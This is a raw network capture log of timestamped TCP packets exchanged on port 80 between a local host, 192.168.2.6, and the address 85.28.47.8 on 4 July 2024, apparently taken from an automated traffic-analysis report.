                                                              Jul 4, 2024 11:16:16.093735933 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.093743086 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.093749046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.093760967 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.093769073 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.093772888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.093785048 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.093795061 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.093813896 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.093844891 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.143085003 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.143140078 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.143150091 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.143191099 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.143213034 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.143227100 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.143240929 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.143251896 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.143253088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.143264055 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.143286943 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.143328905 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.176459074 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.176486015 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.176498890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.176533937 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.176574945 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.176589012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.176600933 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.176616907 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.176640987 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.176718950 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.176731110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.176743984 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.176755905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.176768064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.176778078 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.176779985 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.176814079 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.176852942 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.176865101 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.176876068 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.176887989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.176898003 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.176899910 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.176913023 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.176940918 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.176961899 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.177045107 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.177057028 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.177068949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.177079916 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.177092075 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.177119017 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.177141905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.177155018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.177185059 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.177268982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.177279949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.177290916 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.177301884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.177310944 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.177314997 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.177328110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.177340031 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.177347898 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.177376986 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.177489996 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.177503109 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.177515030 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.177525997 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.177529097 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.177540064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.177561045 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.177589893 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.177664042 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.177676916 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.177689075 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.177700043 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.177707911 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.177717924 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.177728891 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.177736998 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.177742958 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.177752972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.177771091 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.177788019 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.181188107 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.181207895 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.181219101 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.181255102 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.181301117 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.181313992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.181324959 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.181338072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.181346893 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.181360006 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.182539940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.182552099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.182571888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.182580948 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.182585955 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.182622910 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.182723999 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.182761908 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.182765961 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.182775021 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.182815075 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.182852030 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.182866096 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.182878017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.182894945 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.182902098 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.182931900 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.183005095 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183017969 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183028936 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183039904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183051109 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183052063 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.183063984 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183077097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183083057 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.183089018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183099985 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.183109045 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183123112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183129072 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.183154106 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.183247089 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183258057 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183274031 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183286905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183298111 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183300972 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.183316946 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183326960 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.183330059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183352947 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.183388948 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183402061 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183413982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183423996 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183429956 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.183434963 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183449030 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.183479071 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.183545113 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183557034 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183568001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183578968 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183589935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183590889 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.183612108 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.183701992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183715105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183727980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183749914 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183751106 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.183763027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183773041 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.183773994 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183790922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183801889 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.183804035 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183816910 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183828115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183830023 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.183840036 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183847904 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.183885098 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.183985949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.183996916 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.184010029 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.184020996 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.184030056 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.184032917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.184042931 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.184060097 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.184127092 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.184165001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.233036041 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.233067989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.233078957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.233124971 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.233141899 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.233150959 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.233159065 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.233192921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.233203888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.233215094 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.233227015 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.233243942 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.267229080 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267254114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267266035 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267316103 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.267334938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267345905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267347097 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.267369032 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267381907 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267410994 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267414093 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.267422915 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267435074 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267443895 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.267446995 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267476082 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.267493010 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.267558098 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267569065 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267580032 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267591000 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267606020 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267613888 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.267617941 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267631054 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267716885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267731905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267744064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267754078 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267777920 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.267777920 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.267777920 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.267798901 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.267827988 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267839909 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267851114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267862082 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267873049 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267879009 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.267887115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267904043 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267906904 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.267916918 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267919064 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.267931938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.267946959 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.267980099 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.268119097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.268136024 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.268147945 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.268158913 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.268170118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.268181086 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.268192053 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.268193007 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.268204927 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.268219948 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.268243074 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.268254995 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.268273115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.268316984 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.271086931 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.271132946 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.271145105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.271182060 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.271193027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.271204948 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.271217108 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.271235943 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.271259069 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.271326065 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.271338940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.271351099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.271368980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.271373987 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.271380901 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.271393061 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.271404028 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.271419048 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.271420956 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.271455050 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.271480083 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.271516085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.271532059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.271543980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.271553993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.271565914 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.271569014 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.271578074 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.271590948 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.271595001 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.271600962 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.271627903 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.271642923 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.271920919 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.271933079 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.271944046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.271969080 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.271977901 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.272010088 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.272121906 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.272133112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.272150040 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.272161961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.272169113 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.272175074 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.272201061 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.272325039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.272337914 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.272350073 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.272361040 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.272370100 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.272403955 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.273536921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.273575068 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.273581982 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.273588896 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.273626089 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.273633003 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.273647070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.273658991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.273673058 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.273683071 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.273688078 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.273714066 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.273768902 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.273789883 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.273802042 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.273813963 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.273819923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.273833990 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.273844004 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.273844957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.273858070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.273869038 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.273869991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.273881912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.273895025 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.273911953 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.273933887 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.273996115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.274008989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.274019957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.274030924 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.274039984 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.274043083 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.274069071 CEST4972380192.168.2.685.28.47.8
